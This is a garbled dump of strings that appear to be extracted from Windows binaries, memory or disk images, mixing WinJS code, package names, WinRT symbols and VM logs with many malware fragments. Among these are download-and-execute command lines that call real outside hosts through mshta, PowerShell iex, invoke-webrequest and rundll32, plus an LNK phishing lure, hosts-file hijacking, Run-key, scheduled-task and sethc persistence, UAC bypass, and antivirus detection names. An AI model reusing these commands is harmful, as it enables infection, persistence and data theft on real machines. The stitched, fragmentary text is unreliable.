c},set:function(n){c=n}}})}),r("WinJS/Core/_Trace",["./_Global"],function(n){"use strict";function t(n){return n}return{_traceAsyncOperationStarting:n.Debug&&n.Debug.msTraceAsyncOperationStarting&&n.Debug.msTraceAsyncOperationStarting.bind(n.Debug)||t,_traceAsyncOperationCompleted:n.Debug&&n.Debug.msTraceAsyncOperationCompleted&&n.Debug.msTraceAsyncOperationCompleted.bind(n.Debug)||t,_traceAsyncCallbackStarting:n.Debug&&n.Debug.msTraceAsyncCallbackStarting&&n.Debug.msTraceAsyncCallbackStarting.bind(n.Debug)||t,_traceAsyncCallbackCompleted:n.Debug&&n.Debug.msTraceAsyncCallbackCompleted&&n.Debug.msTraceAsyncCallbackCompleted.bind(n.Debug)||t}}),r("WinJS/Promise/_StateMachine",["../Core/_Global","../Core/_BaseCoreUtils","../Core/_Base","../Core/_ErrorFromName","../Core/_Events","../Core/_Trace"],function(n,t,i,r,u,f){"use strict";function e(){}function g(n,t){var i;i=t&&typeof t=="object"&&typeof t.then=="function"?p:dt;n._value=t;n._setState(i)}function nt(n,t,i,r,u,f){return{exception:n,error:t
P -windowstyle hidden -c "Set-ExecutionPolicy -scope currentuser
c:\windows\temp\tmp8873
Microsoft\Windows\WinIt.exe
Microsoft\Windows\Tmp9932u1.bat"
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7
windowsformsapp
merlin-agent/clients.(*MerlinClient).Authmerlin-agent/commands.invokeAssembly/commands/exec_windows.go
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennialK9P
0\windows\system32\config\security
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
\windows\currentG
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
onenote for windows 10#
	windows backup|C
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_System=@#.refresh
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#.config
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#.refresh
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_System=@#.config
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#AvailableBytes
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_Memory=@#.config
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_Memory=@#.refresh
WINDOWS11
verData=C:\Windows\System32\Drivers
LOGONSERVER=\\WINDOWS11
szsystemdir&"fjlogon.dll",trueobjfs.copyfile".\system32\64bit\fjunlock.dll",szsystemdir&"fjunlock.dll",trueendif
[2026-02-21T11:15:57.331Z] [ message] [vmvss] [5004] Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
[2026-02-24T07:58:49.645Z] [ message] [vmvss] [4700] Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
[2026-02-24T08:06:15.209Z] [ message] [vmvss] [4452] Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
C:\WINDOWS\system32\cmd.exe
C:\WINDOWS
shellcommon\undockeddevkit\libs\windowsudk.ui.notifications.notificationssettings\notificationssettings.cpp
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:%5CProgram Files%5CWindowsApp
    name="Microsoft.Windows.VSSVC"
^.:\windows\ccmcache\
regkeyvalue://HKLM\SOFTWARE\Microsoft\Windows Advanced Threat Protection\\OnboardedInfo
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.Co-;9;b;u;
.?AU?$default_delete@VXamlCore@WindowsXamlManager@DirectUI@@@std@@
QSGWindowsx
winlogon.exe
NWindows.Foundation.UniversalApiContract
struct winrt::Windows::Networking::Connectivity::INetworkInformationStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Networking::Connectivity::INetworkInformationStatics>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Networking_Connectivity_INetworkInformationStatics<struct winrt::Windows::Networking::Connectivity::INetworkInformationStatics>::GetInternetConnectionProfile(void) const
struct winrt::Windows::Services::Store::IStoreContextStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Services::Store::IStoreContextStatics>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStoreContextStatics<struct winrt::Windows::Services::Store::IStoreContextStatics>::GetDefault(void) const
struct winrt::Windows::Management::Deployment::PackageManager __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::Management::Deployment::PackageManager>(void) const
struct winrt::Windows::ApplicationModel::IPackageStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::IPackageStatics>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_IPackageStatics<struct winrt::Windows::ApplicationModel::IPackageStatics>::Current(void) const
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Networking.Connectivity.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Foundation.Collections.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Services.Store.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Management.Deployment.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.ApplicationModel.h
void __cdecl winrt::impl::check_status_canceled(enum winrt::Windows::Foundation::AsyncStatus)
auto __cdecl winrt::impl::consume_Windows_Data_Json_IJsonValueStatics<struct winrt::Windows::Data::Json::IJsonValueStatics>::CreateNumberValue(double) const
struct winrt::Windows::Data::Json::IJsonValueStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Data::Json::IJsonValueStatics>(const struct winrt::param::hstring &)
GetProcessWindowStation
1\windows\currentversion\policies\explorer\runmodemRASAPI32.DLLc:@
6d^com.microsoft.windows.e
6f^com.microsoft.windows.e
70^com.microsoft.windows.services.accounts9
K-windowstylehidden-wait}$
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2FILE0
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Wifi-Client-Intel-Netwtw10-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Wifi-Client-Ralink-Netr28x-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
get_ToolWindowSeparator
set_ToolWindowSeparator
System.Windows.Forms
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
get_MainWindowStatusBarDefault
.570015700256001netshPayload decrypted:advfirewallfirewalladdruledir=inaction=allowprotocol=TCPRegistry Run KeyGhost Scheduled TaskWinlogon UserinitCOM HijackingGlobal\StealthPackerMutex_9A8B7CSoftware\Microsoft\Windows\CurrentVersion\RunSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonUserinitschtasks/Create/F/SCONLOGON/TN/TR/RLHIGHESTschtasks/Delete/F/TN/Create/SCONLOGON/TR/RLHIGHESTE
    name="Microsoft.Windows.Shell.srchadmin"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
,r"software\microsoft\windows\currentversion\run","lcryptorx"
"objshell.runpayload&"",0,falsepayload="cm"+"d.e"+"xe/cpowe"+"rshel"+"l.e"+"xe-windowstylehidden-executionpolicybypass-command""$b=(iwr-usebasicparsing-uri\""https://allegato.zip/a\"")
=powershell-command"start-processpowershell-windowstylehidden-argu
<= CreateObject("WindowsInstaller.Installer")pVxDDetzp.InstallProduct "http://84.32.188.141/"Worksheets("Sheet1").Unprotect "123456"TrojanDownloader:O97M/Obfuse.RVZ!MTB
onecoreuap\windows\cdp\common\internal\LinqWrapper.h
SOFTWARE\Microsoft\Windows\CurrentVersion\SmartGlass
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVRadio@Radios@Devices@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVRadio@Radios@Devices@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVRadio@Radios@Devices@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVRadio@Radios@Devices@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AVCompletionDelegate@?1???$WaitForCompletion@PEAU?$IAsyncOperation@PEAU?$IVectorView@PEAVRadio@Radios@Devices@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@@details@wil@@YAJPEAU?$IAsyncOperation@PEAU?$IVectorView@PEAVRadio@Radios@Devices@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@KPEA_N@Z@
c:\windows\system32\cmd.exe/cifexist%tmp%\temp1_job_offer.zip\job_description.pdf.lnk(certutil.exe-decode%tmp%\temp1_job_offer.zip\job_description.pdf.lnk%tmp%\.hta&start%tmp%\.hta)else(certutil-decodejob_description.pdf.lnk%tmp%\.hta&start%tmp%\.hta)
c:\windows\system32\windowspowershell\v1.0\powershell.exe?..\..\..\windows\system32\windowspowershell\v1.0\powershell.exe#-epbypass-filedocuments\porc.ps1imageres.dll%wn]nd.q`xserverzve9de%zve9de%a1sps0cgsf"edadministrator(c:\users)1sps0%g`%documents@
c:\windows\system32\mshta.exevbscript:execute("setmi1=createobject(""msxml2.serverxmlhttp.6.0""):mi1.open""get"",""http://invsetmx.com/ipa.aspx"",false:mi1.send():randomize:r=int(rnd*99999):execute(replace(mi1.responsetext,""#"",r)):")(window.close)
c:\programdata\186523.pdf;i''w''rhttps://shianchi.scapematic.info/jhgfd/jkhxvcf-outfile"c:\programdata\hal";r''e''n-path"c:\programdata\hal"-newname"c:\programdata\wer.dll";c''pc:\windows\system32\werfaultsecure.exec:\programdata\werfaultsecure.exe;
UJc:\windows\system32\windowspowershell\v1.0\powershell.exe-""w""1-ep"b"-"c""i"e"x"(i"w"r"([uri]::un"e"sc"a"pe"d"ata"s"tr"i"ng((cmd/cechohttps%3a%2f%2fgithub.com%2fm4x7c%2fhfd%2fraw%2frefs%2fheads%2fmain%2fsiu.ps1)))-use"b"asic"p"arsi"n"g).c"o"nt"e"nt
="c:\windows\temp\
WindowsCreateStringReference
ication.cmdregsvrc:\windows\system32\shell32.dll
zc:\windows\system32\forfiles.exe/pc:\windows/mwin.ini/c"powershell.mshtahttp://64.7.199.224/real"
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows defender sucksw
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
builtin\windowsauthorizationaccessgroup
cmd /c C:\Windows\Temp
dows\system32\mshta.exe"http://fiscalia2026.gleeze.com/
[system.security.principal.windowsidentity]::getcurrent().issystem
@hklm:\software\microsoft\windows\currentversion\dui-namepassport);
0.lnk'); $s.targetpath = 'c:\windows\system32\rundll32.exe'; $s.arguments =
*MicrosoftWindows.CrossDevice_cw5n1h2txyewy
windows.hlp`
Microsoft.Windows.Security.UserInit
Microsoft.Windows.Wil.FeatureLogging
import.dalvik.annotation.optimization.module6HashCollisionThresholdTYPEDESCKoreanCalendarHasRelatedActivityIDSetup for Windows
%a$env:tmp\invoice.one;start-process-filepath$env:tmp\invoice.one"executecmdasync"cmd/cpowershellinvoke-webrequest-urihttps://stnicholaschurch.ca/async1.bat-outfile$env:tmp\system32.bat;
ZMicrosoft-Windows-Multimedia-MF-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705
Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsC)
microsoft.windows.camera.picker
WINDOWS
@Security@Windows@@@Found
@Security@Internal@Windows@@@Found'
windows.protocol
Microsoft-Windows-:
Microsoft-Windows-User Device Registration
Microsoft-Windows
\\WINDOWS11
Windows Produc'
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:desktop="http://schemas.microsoft.com/appx/manifest/desktop/windows10"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
           xmlns:uap3="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns:uap8="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:rescap5="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/5"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/5"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
Microsoft-Windows-HyperV-Op
windows.protocol
&\Device\HarddiskVolume3\Windows\System32\winlogon.exe
P~MICROSOFTWINDOWS.CLIENT.CBS_CW
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
affcs.catFormSunrise8UnlockerSunrise 8 Unlocker.exeMicrosoft.WindowsAPICodePack.Shell
c:\windows\system32\cmd.exe
)}"shell32.dll%systemroot%\system32\windowspowershell\v1.0\powershell.exe%systemroot%\system32\windowspowershell\v1.0\powershell.exe%
3%414I4j4windows\SysWOW64\Rwymoudlenot a socketTrojanDownloader:O97M/Emotet.ALZ!MTB
:FuckBaby.dllwindows\temp\svchost.exe
c:\windows\system32\rundll32.exetamirlan.dll,edhvntqdwt
windowsregistryn
software\microsoft\windows\currentversion\game\
|>\windows\system32\wmiprvxe.exe\system32\cmd.exe /c  del c:\myapp.exe > nul
\gg_ienet.exe stop software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\nohiddenshell\auto\command=
http://kkkkb.comcommand=drive.exeqq2007inihpxk2007c:\windows\system32\qq2007\qq.ex0
"system32\rundll32.exe helloTEST_EVENT\
c:\windows\system32\
vkontakte.ru>>%windir%\system32\drivers\etc\hostsecho
.comontakte.ru>>%windir%\system32\drivers\etc\hosts
?vkontakte.ru >> %windir%\system32\drivers\etc\hosts
Windows
System32
Windows
System32
Windows
System32
Windows
System32
Windows
System32
@Security@Internal@Windows@@@Found'
windir=C:\WINDOWS
henticatorWindowsPlugin0
\WINDOWS\resources\Trnregimenternes\totalsanerende.Obs202
\WINDOWS\SYSTEM32\programmeringsvagter\traeer.ant
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; TERA:
\system32\ntoskrnl.exe
WindowsFeedback
windowstylehidden
--user-data-dir=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
c:\system32.gif
Windows NT users: Please note that having the WinIce/SoftIce
 http://www.microsoft.com/windows0
OS=Windows_NT
OS=Windows_NT
Windows.In,
$GG:LoadLibraryFileMissing.SYSTEM32.root.Expensive.L
$target="$env:temp\uac.cab"$wusapath="c:\windows\system32\"$execpath="c:\windows\system32\mmc.exeeventvwr.msc
\SystemRoot\system32\DRIVERS\NETIO.SYS
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
/v ShowSuperHidden /t REG_DWORD /d 0 /fImage File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\taskmgr.exe" /fRansom:Win32/LockScreen.LK!MTB
exec = exec + " -exec bypass -noninteractive -windowstyle hidden -e " & strshell (exec)
)"windows
Func_Pasta_Windows
A/pets.phpbanneranuncio.swfBCP>>> - Windows Internet ExplorerBanco de
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParametersrundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0http://www.666t.com/Internet Explorer_TridentCmboBxIEMonitor.EXEIEMonitor Microsoft safefe_fucking__smoking_?fid=domain=%31[A-Za-z]&cid=00.00.00.00*.lnk&tid=; domain=360sechar* X1F91AA70608D4BEE88C754EE40EFE279 ="X1F91AA70608D4BEE88C754EE40EFE279";char* XF021B9B35B284E639A2F50DACB574023 ="XF021B9B35B284E639A2F50DACB574023";char* XCDEC47D341C44484AEE22A076C0FAC39 ="XCDEC47D341C44484AEE22A076C0FAC39";char* XE337CF741FCA452E949478F4EEDF6228 ="XE337CF741FCA452E949478F4EEDF6228";char* X71F7E86500224A0DB96033CD8FD24437 ="X71F7E86500224A0DB96033CD8FD24437";Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenuSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXESoftware\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanelSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\%sSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ExplorerAddPostParamFindFirstFileAQuitAppCallNextHookExInternetGetCookieA
IsWindowsInsider
executeset"url=https://colortune.ru/launcher.dll"set"output=%temp%\%result%.dll""powershell-windowstylehidden-command"invoke-webrequest-uri'%url%'-outfile'%output%'"powershell-command"start-processrundll32.exe-argumentlist'%output%','entrypoint'"powershell-windowstylehidden-command"start-sleep-seconds3;remove-item-force'%output%'-erroractionsilentlycontinue
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
ID\{E5A7A15F-213F-4FCF-8DE7-D388F9FB09EB}CLSID\{385AB8C6-FB22-4D17-8834-064E2BA0A6F0}music.gifcnwin downloaded completed!login.yiqilai.com51mp3.com/get_a.php?fid=%d&kid=%d&cnt=%d&mac=%s&kw=%s&version=%s&uuid=%sSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{16B770A0-0E87-4278-B748-2460D64A8386}\drivers\acpidisk.sys
.LoadDll("Run", arg, "C:\\Windows\\!#ALF:Y2V:Florian_Roth/OilRig_ISMAgent_Campaign_Samples2
c:\windows\system32\cmd.exe/c
*add-windowscapability-online-name'openssh.server~~~~0.0.1.0';
\system32\net.exe stop "Security Center"Navigation blocked</title>+
c:\windowsj
powershell.exe-executionpolicybypass-windowstylehidden
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
c:\windows\system32\
!WindowsMite
!WindowsMite.1_0
*Microsoft.Windows.Co
ReservedWindowsCharacters
ReservedWindowsNames
Windows NT 
AutoStartManagerUtil::SetLegacyWindowsAutoStartKey
AutoStartManagerUtil::GetLegacyWindowsAutoStartKey
Microsoft Store ServerMicrosoft Store Server@{Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreMedTile.png}@{Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreAppList.png}
Microsoft Store@{Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Resources/StoreDescription}@{Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreMedTile.png}@{Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreAppList.png}@{Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreWideTile.png}@{Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreLargeTile.png}@{Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreSmallTile.png}@{Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreSplashScreen.png}g}
@{Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsSoundRecorder/Resources/AppName/Text}@{Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsSoundRecorder/Resources/AppDescription}@{Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsSoundRecorder/Files/Assets/VoiceRecorderMedTile.png}@{Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsSoundRecorder/Files/Assets/VoiceRecorderAppList.png}@{Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsSoundRecorder/Files/Assets/VoiceRecorderWideTile.png}@{Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsSoundRecorder/Files/Assets/VoiceRecorderLargeTile.png}@{Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsSoundRecorder/Files/Assets/VoiceRecorderSmallTile.png}@{Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsSoundRecorder/Files/Assets/VoiceRecorderSplashScreen.png}
